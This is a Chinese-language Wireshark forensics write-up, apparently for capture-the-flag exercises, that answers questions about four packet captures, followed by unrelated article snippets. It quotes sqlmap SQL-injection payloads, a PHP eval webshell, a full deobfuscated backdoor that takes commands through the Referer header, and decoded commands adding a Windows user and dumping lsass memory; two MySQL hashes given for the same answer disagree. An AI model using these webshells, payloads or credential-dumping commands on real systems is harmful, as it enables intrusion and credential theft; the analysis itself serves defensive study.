wireshark流量分析

一、题目一(1.pcap)

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc)

4.第一个受害主机网站数据库的名字

看到题目SQL注入,那就首先过滤http和https协议

过滤后可以看到两个出现次数比较多的ip,202.1.1.2和192.168.1.8,可以看到202.1.1.2对192.168.1.8进行了攻击

这里第一个问题的答案就出来了,受害主机网卡IP是192.168.1.8 ,202.1.1.2为攻击者IP

然后直接看源IP为202.1.1.2的http请求包

 

这里随便先看一个包,urlcode解码后如下

可以看到黑客使用了SQL注入,试图构造存储型xss

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',tab

再看一个包,同样urlcode解码

分析后发现仍在尝试SQL注入,注入工具sqlmap,注入点为list[select]

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883

然后我们去追踪一个SQL注入的TCP流

可以看到数据库为MariaDB,已经报错,而且表前缀为ajtuc_

要找到数据库名的话,我们最好去最后那几条去找,看到url中如果包含schema关键字,那大概率就是数据库名 

这里的数据库名使用十六进制解码,解码出来就是joomla

答案:

1.黑客攻击的第一个受害主机的网卡IP地址 
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla

二、题目二(2.pcap)

打开2.pcap

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

其实一句话木马密码已经出来了,就是zzz

 这里他上传的一句话木马应该是

<?php eval($_POST['zzz']);?>

然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码

此时z0传入base64编码后的数据,便可以执行恶意代码

解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

第二题是第二次上传木马的时间

没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段

第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右

追踪tcp流

可以明显看到z2很不正常,其他参数都是urlcode和base64编码

z2使用十六进制编码,我们来解码看一下

这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码

经过还原后的代码: 


<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

检查后发现create_function函数,这个函数是可以执行命令的

官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

说明黑客是利用了create_function函数来上传了自己的木马

时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了

Feb  7, 2018 17:20:44.248365000 中国标准时间

然后我们来分析一下这个木马

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码


$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互

所以可以基本断定这两个字段是黑客用来传输他想执行的命令的

我们随便看一个访问footer.php的包

发现Referer字段长度很不正常,Accept-Language字段正常

所以可以基本确定,木马通过HTTP协议中的referer头传递数据

答案 

1.黑客第一次获得的php木马的密码是什么
zzz
2.黑客第二次上传php木马是什么时间
17:20:44.248365
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer

三、题目三(3.pcap)

打开3.pcap

题目要求:

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

2.php代理第一次被使用时最先连接了哪个IP地址

题目要求mysql的数据,直接过滤,tcp contains "mysql" && mysql

发现黑客一直在爆破MySQL密码

我们找到最后一条,可能是爆破成功的密码

用户:admin

密码Hash:4858e7dcb0968daa7b599be4b0edb88a25ad89ac

然后过滤http请求,发现名为tunnel.php的php文件

点开可以清晰地看到php代理第一次连接的IP地址是4.2.2.2,端口53 

答案

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
   admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.php代理第一次被使用时最先连接了哪个IP地址
   4.2.2.2

四、题目四(4.pcap)

打开4.pcap

题目要求:

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

2.黑客在内网主机中添加的用户名和密码是多少

3.黑客从内网服务器中下载下来的文件名

获取当前目录的文件列表的命令,Windows中是dir,linux中是ls

直接过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

发现有ls,也有dir

追踪tcp流,发现第一次的ls没有执行成功,因为没有服务器回显

第二次的dir执行成功了

搜索时间

 

Feb  7, 2018 18:36:59.770782000 中国标准时间

在Windows下添加用户必然要使用net user,管理员用户回显Administrator,所以我们直接过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "user" || http contains "Administrator")

这里看到是没有任何用户的,时间Feb  7, 2018 18:49:27.767754000 中国标准时间

再往后面看发现已经添加了管理员用户kaka,时间

Feb  7, 2018 18:50:42.908737000 中国标准时间 

那么黑客必然是在这个时间段执行了添加用户的命令

然后我们就来看这期间的http请求,直接通过时间过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http && frame.time_relative >= 827.109385 && frame.time_relative <= 902.267039

最终我们发现这个不寻常的请求

通过base64解码发现

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

用户名和密码分别为   kaka:kaka

最后一题是下载,一句话木马是POST请求,而且攻击的IP地址为192.168.2.20,那就直接过滤

ip.dst == 192.168.2.20 && http.request.method == POST

筛出来之后没办法只有一个个看,base64解码 

然后在最后发现了这个包 

解码后: 

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E] 

发现使用了procdump.exe

往后看发现了这个包

解码出来是这样的 

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

最后我们可以确定,黑客下载了lsass.exe_180208_185247.dmp文件

答案

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
Feb  7, 2018 18:36:59.770782000
2.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
3.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/91346.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微服务(多级缓存)

目录 多级缓存 1.什么是多级缓存 2.JVM进程缓存 2.2.初识Caffeine 2.3.实现JVM进程缓存 2.3.1.需求 2.3.2.实现 3.Lua语法入门 3.1.初识Lua 3.1.HelloWorld 3.2.变量和循环 3.2.1.Lua的数据类型 3.2.2.声明变量 3.2.3.循环 3.3.条件控制、函数 3.3.1.函数 3.3.…

机器学习简介[01/2]:简单线性回归

Python 中的机器学习简介&#xff1a;简单线性回归 一、说明 简单线性回归为机器学习提供了优雅的介绍。它可用于标识自变量和因变量之间的关系。使用梯度下降&#xff0c;可以训练基本模型以拟合一组点以供未来预测。 二、技术背景 这是涵盖回归、梯度下降、分类和机器学习的其…

下载的文件被Windows 11 安全中心自动删除

今天从CSDN上下载了自己曾经上传的文件&#xff0c;但是浏览器下载完之后文件被Windows安全中心自动删除&#xff0c;说是带病毒。实际是没有病毒的&#xff0c;再说了即便有病毒也不应该直接删除啊&#xff0c;至少给用户一个保留或删除的选项。 研究了一番&#xff0c;可以暂…

springboot整合第三方技术邮件系统

springboot整合第三方技术邮件系统&#xff0c;发邮件是java程序的基本操作&#xff0c;springboot整合javamail其实就是简化开发。不熟悉邮件的小伙伴可以先学习完javamail的基础操作&#xff0c;再来看这一部分内容才能感触到springboot整合javamail究竟简化了哪些操作。简化…

vue ui 创建项目没有反应

问题 cmd中输入 vue ui 没有反应 解决办法 vue ui命令需要vue3.0以上的版本才可以 1、查看当前版本 vue --version vue版本在3.0以下是没有ui命令的 2、查看版本所拥有的命令 vue -h 3、卸载之前版本的vue npm uninstall vue-cli -g 卸载完成&#xff0c;检查是否已经…

elementui table 在浏览器分辨率变化的时候界面异常

异常点&#xff1a; 界面显示不完整&#xff0c;表格卡顿&#xff0c;界面已经刷新完成&#xff0c;但是表格的宽度还在一点一点变化&#xff0c;甚至有无线延伸的情况 思路&#xff1a; 1. 使用doLayout 这里官方文档有说明&#xff0c; 所以我的想法是&#xff0c;监听浏览…

HTML5-1-标签及属性

文章目录 语法规范标签规范标签列表通用属性基本布局 页面的组成&#xff1a; HTML&#xff08;HyperText Markup Language&#xff0c;超文本标记语言&#xff09;是用来描述网页的一种语言&#xff0c;它不是一种编程语言&#xff0c;而是一种标记语言。 HTML5 是下一代 HTM…

第四章:树形结构的关联式容器(map+set)

系列文章目录 文章目录 系列文章目录前言1、关联式容器与序列式容器1.1 键值对 2、set的介绍3、multiset的介绍3.1 接口count与容器multiset 4、map的介绍4.1 接口insert4.2 operator[]和at 5、multimap的介绍 前言 根据应用场景的不桶&#xff0c;STL总共实现了两种不同结构的…

Elasticsearch(十四)搜索---搜索匹配功能⑤--全文搜索

一、前言 不同于之前的term。terms等结构化查询&#xff0c;全文搜索首先对查询词进行分析&#xff0c;然后根据查询词的分词结果构建查询。这里所说的全文指的是文本类型数据&#xff08;text类型&#xff09;,默认的数据形式是人类的自然语言&#xff0c;如对话内容、图书名…

springboot+mp完成简单案例

目录 1.框架搭建 2.前端搭建 3.后端编写 需求&#xff1a;完成简单的连表条件查询以及添加即可 1.框架搭建 1.创建springboot项目 2.相关依赖 <!--web依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boo…

Leetcode每日一题:1448. 统计二叉树中好节点的数目(2023.8.25 C++)

目录 1448. 统计二叉树中好节点的数目 题目描述&#xff1a; 实现代码与解析&#xff1a; dfs 原理思路&#xff1a; 1448. 统计二叉树中好节点的数目 题目描述&#xff1a; 给你一棵根为 root 的二叉树&#xff0c;请你返回二叉树中好节点的数目。 「好节点」X 定义为&…

基于MATLAB开发AUTOSAR软件应用层Code mapping专题-part 4 Data store标签页介绍

这篇文章我们继续讲解code-mapping的Data stores页,这个页的内容对应的SIMULINK中的模块是Data store memory。 我们首先在模型中创建一个Data store memory模块,如图: Data store memory模块的作用相当于一个全局变量,我们可以在模型的功能逻辑里将一个信号存进去,在另…

docker harbor私有库

目录 一.Harbor介绍 二.Harbor的特性 三.Harbor的构成 四.Harbor构建Docker私有仓库 4.2在Server主机上部署Harbor服务&#xff08;192.168.158.25&#xff09; 4.2.1 这时候这边就可以去查看192.168.158.25网页 4.3此时可真机访问serverIP 4.4通过127.0.0.1来登陆和推送镜…

系统架构设计师之缓存技术:Redis与Memcache能力比较

系统架构设计师之缓存技术&#xff1a;Redis与Memcache能力比较

React + Next.js 搭建项目(配有对比介绍一起食用)

文章标题 01 Next.js 是什么02 Next.js 搭建工具 create-next-app03 create-react-app 与 create-next-app 的区别04 快速构建 Next.js 项目05 App Router 与 Pages Router 的区别 01 Next.js 是什么 Next.js 是一个 React 框架&#xff0c;它允许你使用 React 框架建立超强的…

k8s service (三)

K8s service (三) LoadBalancer类型的Service LoadBalancer和NodePort其实是同一种方式&#xff0c;目的都是向外暴露一个端口&#xff0c;区别在于LoadBalancer会在集群的外部再来做一个负载均衡设备&#xff0c;而这个设备需要外部环境支持的&#xff0c;外部服务发送到这…

【安装GPU版本pytorch,torch.cuda.is_available()仍然返回False问题】

TOC 第一步 检查cuda是否安装&#xff0c;CUDA环境变量是否正确设置&#xff0c;比如linux需要设置在PATH&#xff0c;window下环境变量编辑看看&#xff0c;是否有CUDA 第二步&#xff0c;核查python中torch版本 首先查看你环境里的pytorch是否是cuda版本&#xff0c;我这…

EasyExcel自定义字段对象转换器支持转换实体和集合实体

文章目录 1. 实现ObjectConverter2. 使用3. 测试3.2 导出excel3.1 导入excel 1. 实现ObjectConverter package com.tophant.cloud.common.excel.converters;import cn.hutool.json.JSONUtil; import com.alibaba.excel.converters.Converter; import com.alibaba.excel.enums.…

pdf转ppt软件哪个好用?推荐一个好用的pdf转ppt软件

在日常工作和学习中&#xff0c;我们经常会遇到需要将PDF文件转换为PPT格式的情况。PDF格式的文件通常用于展示和保留文档的原始格式&#xff0c;而PPT格式则更适合用于演示和展示。为了满足这一需求&#xff0c;许多软件提供了PDF转PPT的功能&#xff0c;使我们能够方便地将PD…

最新CMS指纹识别技术

指纹识别 1&#xff0e;CMS简介 CMS&#xff08;Content Management System&#xff0c;内容管理系统&#xff09;&#xff0c;又称整站系统或文章系统&#xff0c;用于网站内容管理。用户只需下载对应的CMS软件包&#xff0c;部署、搭建后就可以直接使用CMS。各CMS具有独特的…